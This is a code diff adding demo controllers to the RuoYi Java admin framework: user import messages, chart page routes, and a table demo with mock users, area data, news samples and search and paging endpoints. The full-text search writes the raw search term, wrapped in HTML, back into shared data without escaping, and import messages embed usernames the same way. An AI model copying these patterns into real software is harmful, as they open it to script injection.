+            {
+                // 验证是否存在这个用户
+                boolean userFlag = false;
+                for (Map.Entry<Integer, UserOperateModel> entry : users.entrySet())
+                {
+                    if (entry.getValue().getUserName().equals(user.getUserName()))
+                    {
+                        userFlag = true;
+                        break;
+                    }
+                }
+                if (!userFlag)
+                {
+                    Integer userId = users.size() + 1;
+                    user.setUserId(userId);
+                    users.put(userId, user);
+                    successNum++;
+                    successMsg.append("<br/>" + successNum + "、用户 " + user.getUserName() + " 导入成功");
+                }
+                else if (isUpdateSupport)
+                {
+                    users.put(user.getUserId(), user);
+                    successNum++;
+                    successMsg.append("<br/>" + successNum + "、用户 " + user.getUserName() + " 更新成功");
+                }
+                else
+                {
+                    failureNum++;
+                    failureMsg.append("<br/>" + failureNum + "、用户 " + user.getUserName() + " 已存在");
+                }
+            }
+            catch (Exception e)
+            {
+                failureNum++;
+                String msg = "<br/>" + failureNum + "、账号 " + user.getUserName() + " 导入失败:";
+                failureMsg.append(msg + e.getMessage());
+            }
+        }
+        if (failureNum > 0)
+        {
+            failureMsg.insert(0, "很抱歉,导入失败!共 " + failureNum + " 条数据格式不正确,错误如下:");
+            throw new ServiceException(failureMsg.toString());
+        }
+        else
+        {
+            successMsg.insert(0, "恭喜您,数据已全部导入成功!共 " + successNum + " 条,数据如下:");
+        }
+        return successMsg.toString();
+    }
+}

+ 53 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoReportController.java

@@ -0,0 +1,53 @@
+package com.ruoyi.web.controller.demo.controller;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+
+/**
+ * 报表
+ * 
+ * @author ruoyi
+ */
+@Controller
+@RequestMapping("/demo/report")
+public class DemoReportController
+{
+    private String prefix = "demo/report";
+
+    /**
+     * 百度ECharts
+     */
+    @GetMapping("/echarts")
+    public String echarts()
+    {
+        return prefix + "/echarts";
+    }
+
+    /**
+     * 图表插件
+     */
+    @GetMapping("/peity")
+    public String peity()
+    {
+        return prefix + "/peity";
+    }
+
+    /**
+     * 线状图插件
+     */
+    @GetMapping("/sparkline")
+    public String sparkline()
+    {
+        return prefix + "/sparkline";
+    }
+
+    /**
+     * 图表组合
+     */
+    @GetMapping("/metrics")
+    public String metrics()
+    {
+        return prefix + "/metrics";
+    }
+}

+ 1023 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoTableController.java

@@ -0,0 +1,1023 @@
+package com.ruoyi.web.controller.demo.controller;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Date;
+import java.util.List;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.ModelMap;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import com.fasterxml.jackson.annotation.JsonFormat;
+import com.ruoyi.common.annotation.Excel;
+import com.ruoyi.common.annotation.Excel.ColumnType;
+import com.ruoyi.common.core.controller.BaseController;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.core.domain.BaseEntity;
+import com.ruoyi.common.core.page.PageDomain;
+import com.ruoyi.common.core.page.TableDataInfo;
+import com.ruoyi.common.core.page.TableSupport;
+import com.ruoyi.common.core.text.Convert;
+import com.ruoyi.common.utils.DateUtils;
+import com.ruoyi.common.utils.StringUtils;
+import com.ruoyi.common.utils.poi.ExcelUtil;
+
+/**
+ * 表格相关
+ * 
+ * @author ruoyi
+ */
+@Controller
+@RequestMapping("/demo/table")
+public class DemoTableController extends BaseController
+{
+    private String prefix = "demo/table";
+
+    private final static List<UserTableModel> users = new ArrayList<UserTableModel>();
+    {
+        users.add(new UserTableModel(1, "1000001", "测试1", "0", "15888888888", "[email protected]", 150.0, "0"));
+        users.add(new UserTableModel(2, "1000002", "测试2", "1", "15666666666", "[email protected]", 180.0, "1"));
+        users.add(new UserTableModel(3, "1000003", "测试3", "0", "15666666666", "[email protected]", 110.0, "1"));
+        users.add(new UserTableModel(4, "1000004", "测试4", "1", "15666666666", "[email protected]", 220.0, "1"));
+        users.add(new UserTableModel(5, "1000005", "测试5", "0", "15666666666", "[email protected]", 140.0, "1"));
+        users.add(new UserTableModel(6, "1000006", "测试6", "1", "15666666666", "[email protected]", 330.0, "1"));
+        users.add(new UserTableModel(7, "1000007", "测试7", "0", "15666666666", "[email protected]", 160.0, "1"));
+        users.add(new UserTableModel(8, "1000008", "测试8", "1", "15666666666", "[email protected]", 170.0, "1"));
+        users.add(new UserTableModel(9, "1000009", "测试9", "0", "15666666666", "[email protected]", 180.0, "1"));
+        users.add(new UserTableModel(10, "1000010", "测试10", "0", "15666666666", "[email protected]", 210.0, "1"));
+        users.add(new UserTableModel(11, "1000011", "测试11", "1", "15666666666", "[email protected]", 110.0, "1"));
+        users.add(new UserTableModel(12, "1000012", "测试12", "0", "15666666666", "[email protected]", 120.0, "1"));
+        users.add(new UserTableModel(13, "1000013", "测试13", "1", "15666666666", "[email protected]", 380.0, "1"));
+        users.add(new UserTableModel(14, "1000014", "测试14", "0", "15666666666", "[email protected]", 280.0, "1"));
+        users.add(new UserTableModel(15, "1000015", "测试15", "0", "15666666666", "[email protected]", 570.0, "1"));
+        users.add(new UserTableModel(16, "1000016", "测试16", "1", "15666666666", "[email protected]", 260.0, "1"));
+        users.add(new UserTableModel(17, "1000017", "测试17", "1", "15666666666", "[email protected]", 210.0, "1"));
+        users.add(new UserTableModel(18, "1000018", "测试18", "1", "15666666666", "[email protected]", 340.0, "1"));
+        users.add(new UserTableModel(19, "1000019", "测试19", "1", "15666666666", "[email protected]", 160.0, "1"));
+        users.add(new UserTableModel(20, "1000020", "测试20", "1", "15666666666", "[email protected]", 220.0, "1"));
+        users.add(new UserTableModel(21, "1000021", "测试21", "1", "15666666666", "[email protected]", 120.0, "1"));
+        users.add(new UserTableModel(22, "1000022", "测试22", "1", "15666666666", "[email protected]", 130.0, "1"));
+        users.add(new UserTableModel(23, "1000023", "测试23", "1", "15666666666", "[email protected]", 490.0, "1"));
+        users.add(new UserTableModel(24, "1000024", "测试24", "1", "15666666666", "[email protected]", 570.0, "1"));
+        users.add(new UserTableModel(25, "1000025", "测试25", "1", "15666666666", "[email protected]", 250.0, "1"));
+        users.add(new UserTableModel(26, "1000026", "测试26", "1", "15666666666", "[email protected]", 250.0, "1"));
+    }
+
+    private final static List<AreaModel> areas = new ArrayList<AreaModel>();
+    {
+        areas.add(new AreaModel(1, 0, "广东省", "440000", "GDS", "GuangDongSheng", 1));
+        areas.add(new AreaModel(2, 0, "湖南省", "430000", "HNS", "HuNanSheng", 1));
+        areas.add(new AreaModel(3, 0, "河南省", "410000", "HNS", "HeNanSheng", 0));
+        areas.add(new AreaModel(4, 0, "湖北省", "420000", "HBS", "HuBeiSheng", 0));
+        areas.add(new AreaModel(5, 0, "辽宁省", "210000", "LNS", "LiaoNingSheng", 0));
+        areas.add(new AreaModel(6, 0, "山东省", "370000", "SDS", "ShanDongSheng", 0));
+        areas.add(new AreaModel(7, 0, "陕西省", "610000", "SXS", "ShanXiSheng", 0));
+        areas.add(new AreaModel(8, 0, "贵州省", "520000", "GZS", "GuiZhouSheng", 0));
+        areas.add(new AreaModel(9,  0, "上海市", "310000", "SHS", "ShangHaiShi", 0));
+        areas.add(new AreaModel(10, 0, "重庆市", "500000", "CQS", "ChongQingShi", 0));
+        areas.add(new AreaModel(11, 0, "若依省", "666666", "YYS", "RuoYiSheng", 0));
+        areas.add(new AreaModel(12, 0, "安徽省", "340000", "AHS", "AnHuiSheng", 0));
+        areas.add(new AreaModel(13, 0, "福建省", "350000", "FJS", "FuJianSheng", 0));
+        areas.add(new AreaModel(14, 0, "海南省", "460000", "HNS", "HaiNanSheng", 0));
+        areas.add(new AreaModel(15, 0, "江苏省", "320000", "JSS", "JiangSuSheng", 0));
+        areas.add(new AreaModel(16, 0, "青海省", "630000", "QHS", "QingHaiSheng", 0));
+        areas.add(new AreaModel(17, 0, "广西壮族自治区", "450000", "GXZZZZQ", "GuangXiZhuangZuZiZhiQu", 0));
+        areas.add(new AreaModel(18, 0, "宁夏回族自治区", "640000", "NXHZZZQ", "NingXiaHuiZuZiZhiQu", 0));
+        areas.add(new AreaModel(19, 0, "内蒙古自治区", "150000", "NMGZZQ", "NeiMengGuZiZhiQu", 0));
+        areas.add(new AreaModel(20, 0, "新疆维吾尔自治区", "650000", "XJWWEZZQ", "XinJiangWeiWuErZiZhiQu", 0));
+        areas.add(new AreaModel(21, 0, "江西省", "360000", "JXS", "JiangXiSheng", 0));
+        areas.add(new AreaModel(22, 0, "浙江省", "330000", "ZJS", "ZheJiangSheng", 0));
+        areas.add(new AreaModel(23, 0, "河北省", "130000", "HBS", "HeBeiSheng", 0));
+        areas.add(new AreaModel(24, 0, "天津市", "120000", "TJS", "TianJinShi", 0));
+        areas.add(new AreaModel(25, 0, "山西省", "140000", "SXS", "ShanXiSheng", 0));
+        areas.add(new AreaModel(26, 0, "台湾省", "710000", "TWS", "TaiWanSheng", 0));
+        areas.add(new AreaModel(27, 0, "甘肃省", "620000", "GSS", "GanSuSheng", 0));
+        areas.add(new AreaModel(28, 0, "四川省", "510000", "SCS", "SiChuanSheng", 0));
+        areas.add(new AreaModel(29, 0, "云南省", "530000", "YNS", "YunNanSheng", 0));
+        areas.add(new AreaModel(30, 0, "北京市", "110000", "BJS", "BeiJingShi", 0));
+        areas.add(new AreaModel(31, 0, "香港特别行政区", "810000", "XGTBXZQ", "XiangGangTeBieXingZhengQu", 0));
+        areas.add(new AreaModel(32, 0, "澳门特别行政区", "820000", "AMTBXZQ", "AoMenTeBieXingZhengQu", 0));
+        
+        areas.add(new AreaModel(100, 1, "深圳市", "440300", "SZS", "ShenZhenShi", 1));
+        areas.add(new AreaModel(101, 1, "广州市", "440100", "GZS", "GuangZhouShi", 0));
+        areas.add(new AreaModel(102, 1, "东莞市", "441900", "DGS", "DongGuanShi", 0));
+        areas.add(new AreaModel(103, 2, "长沙市", "410005", "CSS", "ChangShaShi", 1));
+        areas.add(new AreaModel(104, 2, "岳阳市", "414000", "YYS", "YueYangShi", 0));
+        
+        areas.add(new AreaModel(1000, 100, "龙岗区", "518172", "LGQ", "LongGangQu", 0));
+        areas.add(new AreaModel(1001, 100, "南山区", "518051", "NSQ", "NanShanQu", 0));
+        areas.add(new AreaModel(1002, 100, "宝安区", "518101", "BAQ", "BaoAnQu", 0));
+        areas.add(new AreaModel(1003, 100, "福田区", "518081", "FTQ", "FuTianQu", 0));
+        areas.add(new AreaModel(1004, 103, "天心区", "410004", "TXQ", "TianXinQu", 0));
+        areas.add(new AreaModel(1005, 103, "开福区", "410008", "KFQ", "KaiFuQu", 0));
+        areas.add(new AreaModel(1006, 103, "芙蓉区", "410011", "FRQ", "FuRongQu", 0));
+        areas.add(new AreaModel(1007, 103, "雨花区", "410011", "YHQ", "YuHuaQu", 0));
+    }
+
+    private final static List<UserTableColumn> columns = new ArrayList<UserTableColumn>();
+    {
+        columns.add(new UserTableColumn("用户ID", "userId"));
+        columns.add(new UserTableColumn("用户编号", "userCode"));
+        columns.add(new UserTableColumn("用户姓名", "userName"));
+        columns.add(new UserTableColumn("用户手机", "userPhone"));
+        columns.add(new UserTableColumn("用户邮箱", "userEmail"));
+        columns.add(new UserTableColumn("用户状态", "status"));
+    }
+    
+    private final static List<DocumentModel> documents = new ArrayList<DocumentModel>();
+    {
+        documents.add(new DocumentModel(1, "247-XW·2024-D10-0001", "新闻热线[2024]000001", "索尼射击游戏《Concord》停止运营,玩家将获全额退款", "索尼宣布多人射击游戏《Concord》将于9月6日停止运营,玩家将获得全额退款。游戏总监Ryan Ellis在给玩家的信中表示,这款游戏首次发布“并没有像我们预期的那样顺利”。《Concord》的开发历时8年,投资超过1.5亿美元。游戏在Steam平台的售价为40美元,采用买断制销售模式。据SteamDB统计,游戏上市后的最高同时在线人数为697人。"));
+        documents.add(new DocumentModel(2, "247-XW·2024-D30-0002", "新闻热线[2024]000002", "网红账号被封,央媒:如此炫富毒瘤早就该拔了", "在社交平台上分享自己的生活日常,本来无可厚非。但无底线地展示物欲、宣扬拜金,取笑甚至嘲讽工薪者的烟火生活,就会遮蔽普通人的平凡质朴和坚韧奋斗,在无形中消解芸芸众生脚踏实地、自立自强的社会正气。对这种助长金钱至上、刺激公众焦虑,既污染网络生态,又撕裂社会和谐的炫富“毒瘤”,必须坚决拔除之。在国家有关部门的部署下,近日,多个网络平台开展“不良价值导向内容专项治理”行动,对“奢靡浪费”“炫富拜金”等问题从严打击,倡导理性、文明的消费观和价值观。"));
+        documents.add(new DocumentModel(3, "CT01-XW·2024-Y-0003", "新闻热线[2024]000003", "重庆一夫妻被骗至缅甸,家属:两人已被解救,预计很快能回国", "5月25日,重庆一对夫妻在前往泰国后失联,疑被诈骗集团骗至缅甸的消息引发广泛关注。警方已对此事立案调查,而这对夫妻的亲属则每天生活在焦急和不安之中。亲属:家都瘫痪了,事情一经曝光,迅速登上了热搜,成为公众热议的话题。据了解,这对夫妻原计划是去泰国谈生意,但不幸的是,他们的泰国之行变成了一场噩梦。亲属李先生透露,4月14日,他们夫妻二人抵达泰国,不久后便疑似被人以10万元的价格卖到缅甸,目前被困在缅甸妙瓦底的一个电信诈骗园区。"));
+        documents.add(new DocumentModel(4, "CT01-XW·2024-Y-0004", "新闻热线[2024]000004", "江滨社区联合派出所、金霞消防站开展电动自行车安全隐患夜查活动", "近日,长沙市开福区江滨社区联合派出所、金霞消防站深入居民小区、单位场所,以电动车自行车火灾防范为重点,开展消防安全夜查行动。此次夜查紧紧围绕老旧居民区、“三合一”场所、沿街门店、夜间经营使用场所等场所开展监督检查,重点检查电动自行车违规停放充电、堵塞疏散通道和安全出口,架空层违规作为电动自行车停放充电场所,电动自行车违规“进楼入户”“飞线充电”,电动自行车擅自改装等五大类问题。"));
+        documents.add(new DocumentModel(5, "CT01-XW·2024-Y-0005", "新闻热线[2024]000005", "《黑神话》让海外玩家迷上“悟空”", "备受全球玩家瞩目的首款国产3A游戏《黑神话:悟空》日前正式发布。精美绝伦的东方美学世界、精彩纷呈的中国神话故事、酣畅淋漓的游戏体验,这款游戏为全球玩家带来一场视觉与文化的双重盛宴。从“悟空”成功出海的背后,海外人士看到了中国游戏产业的巨大进步,感受到了中国文化的多元精彩,并对下一个“悟空”的诞生及更多中国文化产品走向世界充满期待。"));
+        documents.add(new DocumentModel(6, "CT01-XW·2024-Y-0006", "新闻热线[2024]000006", "市场状况充满挑战!极星宣布裁员全球约15%的员工", "据路透社报道,极星周五以“充满挑战的市场状况”为由,宣布计划在全球范围内裁减约450个职位。此次裁员之际,许多人都对电动汽车需求降温表示担忧,而且极星预计汽车业务最早将在2025年开始实现收支平衡。极星发言人表示:“作为该商业计划的一部分,我们需要调整我们的业务和运营规模。” “这涉及减少外部支出,遗憾的是,还包括我们的员工数量。”该公司还表示,希望减少对沃尔沃及其母公司吉利外部融资的依赖,最近还表示希望削减成本并提高电动汽车的利润率。"));
+        documents.add(new DocumentModel(7, "CT01-XW·2024-Y-0007", "新闻热线[2024]000007", "浙江隐秘富豪涉百亿非法集资案,部分资金流入新造车公司", "5月10日、11日,上海北广投资管理有限公司(下称“北广投”)非法集资案在上海黄浦区人民法院一审公开开庭审理,北广投实控人周敏、法定代表人朱江等30余名中高管被控非法吸收公众存款罪。根据财新报道,这一案件中,非法集资的资金有部分流入了两家新能源车企——爱驰汽车、万象汽车。同时,有多位投资人引述与经侦部门沟通时的说法称,该案事发时未兑付金额有130余亿元,其中去往广微控股45亿元、万象汽车63亿元、爱驰汽车15亿元。"));
+        documents.add(new DocumentModel(8, "CT01-XW·2024-Y-0008", "新闻热线[2024]000008", "特斯拉宣布Model Y升级:搭载HW4.0硬件,售价仍25.89万元起", "2月1日,特斯拉官方宣布ModelY升级。外观上,新增ModelY专属色“快银车漆”,并采用烈焰红代替中国红、星空灰代替冷光银;性能上,ModelY全系配备全新一代自动辅助驾驶硬件(HW4.0),通过搭载超远距离双目摄像头,ModelY的最远探测距离达424米。由此,特斯拉全系车型均配备了自动辅助驾驶硬件HW4.0。在售价方面,特斯拉中国官网显示,ModelY车型依然保持原价。ModelY后轮驱动版25.89万元起、ModelY长续航版29.99万元起、ModelY高性能版售价36.39万元起。"));
+        documents.add(new DocumentModel(9, "CT01-XW·2024-D10-0009", "新闻热线[2024]000009", "华为手机归来,谁最受伤?", "低迷周期下的智能手机市场在2023年下半年迎来了华为的回归,这也给本就竞争激烈的市场环境带来了更大变数。1月29日,有消息称,华为已注册“星耀手机”品牌商标,定位中端手机市场,但上述消息并未获得华为方面确认。“目前星耀的相关信息我们看到了,但是没有获得产品信息以及启动线下铺货的通知。对于和其他品牌的二选一问题,听其他省份的经销商说过,但目前(华为渠道)这边也没有更多动作。”一位广东区域的华为核心经销商对记者说。但华为手机的反扑已经开始。在多家调研机构公布的2023年四季度智能手机出货数据中,华为手机的量正在明显上升,当季增幅在35%到47%之间。不过,从全年数据来看,并未登上前五榜单。"));
+        documents.add(new DocumentModel(10, "CT01-XW·2024-D10-0010", "新闻热线[2024]000010", "疯狂裁员的硅谷大厂:除了AI,其它都是将就", "放眼望去,近期科技企业财报形势一片大好,裁员浪潮却仍在不断蔓延。国内职场动态看脉脉,那硅谷裁员情况就得看layoff.fyi了。数据显示,2024年,103家科技企业进行了裁员,28963位员工失去了饭碗。其中,电子支付公司PayPal大笔一挥,裁掉2500人,微软则在开年就裁掉1900人。回望2023年,谷歌、Meta、亚马逊、微软均为裁员重灾区,裁员人数在一万左右。具体而言,谷歌近日披露的财报指出,2023年谷歌解雇了12000多名员工,光是在遣散费和其他费用上就花费了21亿美元。而且裁员费用还在不断增加,2024年刚过去一个月,谷歌就已经花费了7亿美元用来裁员。"));
+        documents.add(new DocumentModel(11, "CT01-XW·2024-D30-0011", "新闻热线[2024]000011", "国产手机品牌重新崛起背后:市场正在逐步恢复活力,竞争也愈发激烈", "2024年伊始,随着全球经济的逐渐复苏,手机消费市场也展现出勃勃生机。中国信通院最新数据显示,2023年中国市场手机出货量实现了6.5%的同比增长,其中5G手机增长势头更为强劲,占比高达82.8%。1月25日,国际数据公司(IDC)发布了最新手机季度跟踪报告,揭示了中国智能手机市场在2023年第四季度的出货量情况。报告显示,该季度中国智能手机市场出货量达到了约7363万台,同比增长1.2%。这是在连续十个季度同比下降后,中国智能手机市场首次实现反弹。这一积极信号表明,市场正在逐步恢复活力,各大品牌之间的竞争也愈发激烈。"));
+        documents.add(new DocumentModel(12, "CT01-XW·2024-D30-0012", "新闻热线[2024]000012", "SpaceX将于1月31日向国际空间站发射天鹅号货运飞船", "1月29日消息,美国太空探索技术公司SpaceX计划于当地时间1月30日,利用“猎鹰9号”火箭从佛罗里达州肯尼迪航天中心发射诺斯罗普·格鲁曼公司的“天鹅号”货运飞船至国际空间站。此次任务是执行NG-20商业补给,将运送约8200多磅的物资、设备及科学实验器材。"));
+    }
+
+    /**
+     * 搜索相关
+     */
+    @GetMapping("/search")
+    public String search()
+    {
+        return prefix + "/search";
+    }
+
+    /**
+     * 数据汇总
+     */
+    @GetMapping("/footer")
+    public String footer()
+    {
+        return prefix + "/footer";
+    }
+
+    /**
+     * 组合表头
+     */
+    @GetMapping("/groupHeader")
+    public String groupHeader()
+    {
+        return prefix + "/groupHeader";
+    }
+
+    /**
+     * 表格导出
+     */
+    @GetMapping("/export")
+    public String export()
+    {
+        return prefix + "/export";
+    }
+
+    /**
+     * 表格导出选择列
+     */
+    @GetMapping("/exportSelected")
+    public String exportSelected()
+    {
+        return prefix + "/exportSelected";
+    }
+
+    /**
+     * 导出数据
+     */
+    @PostMapping("/exportData")
+    @ResponseBody
+    public AjaxResult exportSelected(UserTableModel userModel, String userIds)
+    {
+        List<UserTableModel> userList = new ArrayList<UserTableModel>(Arrays.asList(new UserTableModel[users.size()]));
+        Collections.copy(userList, users);
+
+        // 条件过滤
+        if (StringUtils.isNotEmpty(userIds))
+        {
+            userList.clear();
+            for (Long userId : Convert.toLongArray(userIds))
+            {
+                for (UserTableModel user : users)
+                {
+                    if (user.getUserId() == userId)
+                    {
+                        userList.add(user);
+                    }
+                }
+            }
+        }
+        ExcelUtil<UserTableModel> util = new ExcelUtil<UserTableModel>(UserTableModel.class);
+        return util.exportExcel(userList, "用户数据");
+    }
+
+    /**
+     * 翻页记住选择
+     */
+    @GetMapping("/remember")
+    public String remember()
+    {
+        return prefix + "/remember";
+    }
+
+    /**
+     * 表格保存状态
+     */
+    @GetMapping("/cookie")
+    public String cookie()
+    {
+        return prefix + "/cookie";
+    }
+
+    /**
+     * 跳转至指定页
+     */
+    @GetMapping("/pageGo")
+    public String pageGo()
+    {
+        return prefix + "/pageGo";
+    }
+
+    /**
+     * 自定义查询参数
+     */
+    @GetMapping("/params")
+    public String params()
+    {
+        return prefix + "/params";
+    }
+
+    /**
+     * 多表格
+     */
+    @GetMapping("/multi")
+    public String multi()
+    {
+        return prefix + "/multi";
+    }
+
+    /**
+     * 点击按钮加载表格
+     */
+    @GetMapping("/button")
+    public String button()
+    {
+        return prefix + "/button";
+    }
+
+    /**
+     * 直接加载表格数据
+     */
+    @GetMapping("/data")
+    public String data(ModelMap mmap)
+    {
+        mmap.put("users", users);
+        return prefix + "/data";
+    }
+
+    /**
+     * 表格冻结列
+     */
+    @GetMapping("/fixedColumns")
+    public String fixedColumns()
+    {
+        return prefix + "/fixedColumns";
+    }
+
+    /**
+     * 自定义触发事件
+     */
+    @GetMapping("/event")
+    public String event()
+    {
+        return prefix + "/event";
+    }
+
+    /**
+     * 表格细节视图
+     */
+    @GetMapping("/detail")
+    public String detail()
+    {
+        return prefix + "/detail";
+    }
+
+    /**
+     * 表格父子视图
+     */
+    @GetMapping("/child")
+    public String child()
+    {
+        return prefix + "/child";
+    }
+
+    /**
+     * 表格图片预览
+     */
+    @GetMapping("/image")
+    public String image()
+    {
+        return prefix + "/image";
+    }
+
+    /**
+     * 动态增删改查
+     */
+    @GetMapping("/curd")
+    public String curd()
+    {
+        return prefix + "/curd";
+    }
+
+    /**
+     * 表格行拖拽操作
+     */
+    @GetMapping("/reorderRows")
+    public String reorderRows()
+    {
+        return prefix + "/reorderRows";
+    }
+
+    /**
+     * 表格列拖拽操作
+     */
+    @GetMapping("/reorderColumns")
+    public String reorderColumns()
+    {
+        return prefix + "/reorderColumns";
+    }
+
+    /**
+     * 表格列宽拖动
+     */
+    @GetMapping("/resizable")
+    public String resizable()
+    {
+        return prefix + "/resizable";
+    }
+
+    /**
+     * 表格行内编辑操作
+     */
+    @GetMapping("/editable")
+    public String editable()
+    {
+        return prefix + "/editable";
+    }
+
+    /**
+     * 主子表提交
+     */
+    @GetMapping("/subdata")
+    public String subdata()
+    {
+        return prefix + "/subdata";
+    }
+
+    /**
+     * 表格自动刷新
+     */
+    @GetMapping("/refresh")
+    public String refresh()
+    {
+        return prefix + "/refresh";
+    }
+
+    /**
+     * 表格打印配置
+     */
+    @GetMapping("/print")
+    public String print()
+    {
+        return prefix + "/print";
+    }
+
+    /**
+     * 表格标题格式化
+     */
+    @GetMapping("/headerStyle")
+    public String headerStyle()
+    {
+        return prefix + "/headerStyle";
+    }
+
+    /**
+     * 表格动态列
+     */
+    @GetMapping("/dynamicColumns")
+    public String dynamicColumns()
+    {
+        return prefix + "/dynamicColumns";
+    }
+
+    /**
+     * 表格虚拟滚动
+     */
+    @GetMapping("/virtualScroll")
+    public String virtualScroll()
+    {
+        return prefix + "/virtualScroll";
+    }
+
+    /**
+     * 自定义视图分页
+     */
+    @GetMapping("/customView")
+    public String customView()
+    {
+        return prefix + "/customView";
+    }
+
+    /**
+     * 全文索引
+     */
+    @GetMapping("/textSearch")
+    public String textSearch()
+    {
+        return prefix + "/textSearch";
+    }
+
+    /**
+     * 异步加载表格树
+     */
+    @GetMapping("/asynTree")
+    public String asynTree()
+    {
+        return prefix + "/asynTree";
+    }
+
+    /**
+     * 表格其他操作
+     */
+    @GetMapping("/other")
+    public String other()
+    {
+        return prefix + "/other";
+    }
+
+    /**
+     * 动态获取列
+     */
+    @PostMapping("/ajaxColumns")
+    @ResponseBody
+    public AjaxResult ajaxColumns(UserTableColumn userColumn)
+    {
+        List<UserTableColumn> columnList = new ArrayList<UserTableColumn>(Arrays.asList(new UserTableColumn[columns.size()]));
+        Collections.copy(columnList, columns);
+        if (userColumn != null && "userBalance".equals(userColumn.getField()))
+        {
+            columnList.add(new UserTableColumn("用户余额", "userBalance"));
+        }
+        return AjaxResult.success(columnList);
+    }
+
+    /**
+     * 查询数据
+     */
+    @PostMapping("/list")
+    @ResponseBody
+    public TableDataInfo list(UserTableModel userModel)
+    {
+        TableDataInfo rspData = new TableDataInfo();
+        List<UserTableModel> userList = new ArrayList<UserTableModel>(Arrays.asList(new UserTableModel[users.size()]));
+        Collections.copy(userList, users);
+        // 查询条件过滤
+        if (StringUtils.isNotEmpty(userModel.getUserName()))
+        {
+            userList.clear();
+            for (UserTableModel user : users)
+            {
+                if (user.getUserName().equals(userModel.getUserName()))
+                {
+                    userList.add(user);
+                }
+            }
+        }
+        PageDomain pageDomain = TableSupport.buildPageRequest();
+        if (null == pageDomain.getPageNum() || null == pageDomain.getPageSize())
+        {
+            rspData.setRows(userList);
+            rspData.setTotal(userList.size());
+            return rspData;
+        }
+        Integer pageNum = (pageDomain.getPageNum() - 1) * 10;
+        Integer pageSize = pageDomain.getPageNum() * 10;
+        if (pageSize > userList.size())
+        {
+            pageSize = userList.size();
+        }
+        rspData.setRows(userList.subList(pageNum, pageSize));
+        rspData.setTotal(userList.size());
+        return rspData;
+    }
+
+    /**
+     * 查询全文索引数据
+     */
+    @PostMapping("/text/list")
+    @ResponseBody
+    public TableDataInfo textList(BaseEntity baseEntity)
+    {
+        TableDataInfo rspData = new TableDataInfo();
+        List<DocumentModel> documentList = new ArrayList<DocumentModel>(Arrays.asList(new DocumentModel[documents.size()]));
+        Collections.copy(documentList, documents);
+        // 查询条件过滤
+        if (StringUtils.isNotEmpty(baseEntity.getSearchValue()))
+        {
+            documentList.clear();
+            for (DocumentModel document : documents)
+            {
+                boolean indexFlag = false;
+                if (document.getTitle().contains(baseEntity.getSearchValue()))
+                {
+                    indexFlag = true;
+                    document.setTitle(document.getTitle().replace(baseEntity.getSearchValue(), "<font color=\"red\">" + baseEntity.getSearchValue() + "</font>"));
+                }
+                if (document.getContent().contains(baseEntity.getSearchValue()))
+                {
+                    indexFlag = true;
+                    document.setContent(document.getContent().replace(baseEntity.getSearchValue(), "<font color=\"red\">" + baseEntity.getSearchValue() + "</font>"));
+                }
+                if (indexFlag)
+                {
+                    documentList.add(document);
+                }
+            }
+        }
+        PageDomain pageDomain = TableSupport.buildPageRequest();
+        if (null == pageDomain.getPageNum() || null == pageDomain.getPageSize())
+        {
+            rspData.setRows(documentList);
+            rspData.setTotal(documentList.size());
+            return rspData;
+        }
+        Integer pageNum = (pageDomain.getPageNum() - 1) * 10;
+        Integer pageSize = pageDomain.getPageNum() * 10;
+        if (pageSize > documentList.size())
+        {
+            pageSize = documentList.size();
+        }
+        rspData.setRows(documentList.subList(pageNum, pageSize));
+        rspData.setTotal(documentList.size());
+        return rspData;
+    }
+
+    /**
+     * 查询树表数据
+     */
+    @PostMapping("/tree/list")
+    @ResponseBody
+    public TableDataInfo treeList(AreaModel areaModel)
+    {
+        TableDataInfo rspData = new TableDataInfo();
+        List<AreaModel> areaList = new ArrayList<AreaModel>(Arrays.asList(new AreaModel[areas.size()]));
+        // 默认查询条件 parentId 0
+        Collections.copy(areaList, areas);
+        areaList.clear();
+        if (StringUtils.isNotEmpty(areaModel.getAreaName()))
+        {
+            for (AreaModel area : areas)
+            {
+                if (area.getParentId() == 0 && area.getAreaName().equals(areaModel.getAreaName()))
+                {
+                    areaList.add(area);
+                }
+            }
+        }
+        else
+        {
+            for (AreaModel area : areas)
+            {
+                if (area.getParentId() == 0)
+                {
+                    areaList.add(area);
+                }
+            }
+        }
+        PageDomain pageDomain = TableSupport.buildPageRequest();
+        Integer pageNum = (pageDomain.getPageNum() - 1) * pageDomain.getPageSize();
+        Integer pageSize = pageDomain.getPageNum() * pageDomain.getPageSize();
+        if (pageSize > areaList.size())
+        {
+            pageSize = areaList.size();
+        }
+        rspData.setRows(areaList.subList(pageNum, pageSize));
+        rspData.setTotal(areaList.size());
+        return rspData;
+    }
+
+    /**
+     * 查询树表子节点数据
+     */
+    @PostMapping("/tree/listChild")
+    @ResponseBody
+    public List<AreaModel> listChild(AreaModel areaModel)
+    {
+        List<AreaModel> areaList = new ArrayList<AreaModel>(Arrays.asList(new AreaModel[areas.size()]));
+        // 查询条件 parentId
+        Collections.copy(areaList, areas);
+        areaList.clear();
+        if (StringUtils.isNotEmpty(areaModel.getAreaName()))
+        {
+            for (AreaModel area : areas)
+            {
+                if (area.getParentId().intValue() == areaModel.getParentId().intValue() && area.getAreaName().equals(areaModel.getAreaName()))
+                {
+                    areaList.add(area);
+                }
+            }
+        }
+        else
+        {
+            for (AreaModel area : areas)
+            {
+                if (area.getParentId().intValue() == areaModel.getParentId().intValue())
+                {
+                    areaList.add(area);
+                }
+            }
+        }
+        return areaList;
+    }
+}
+
+class UserTableColumn
+{
+    /** 表头 */
+    private String title;
+    /** 字段 */
+    private String field;
+
+    public UserTableColumn()
+    {
+
+    }
+
+    public UserTableColumn(String title, String field)
+    {
+        this.title = title;
+        this.field = field;
+    }
+
+    public String getTitle()
+    {
+        return title;
+    }
+
+    public void setTitle(String title)
+    {
+        this.title = title;
+    }
+
+    public String getField()
+    {
+        return field;
+    }
+
+    public void setField(String field)
+    {
+        this.field = field;
+    }
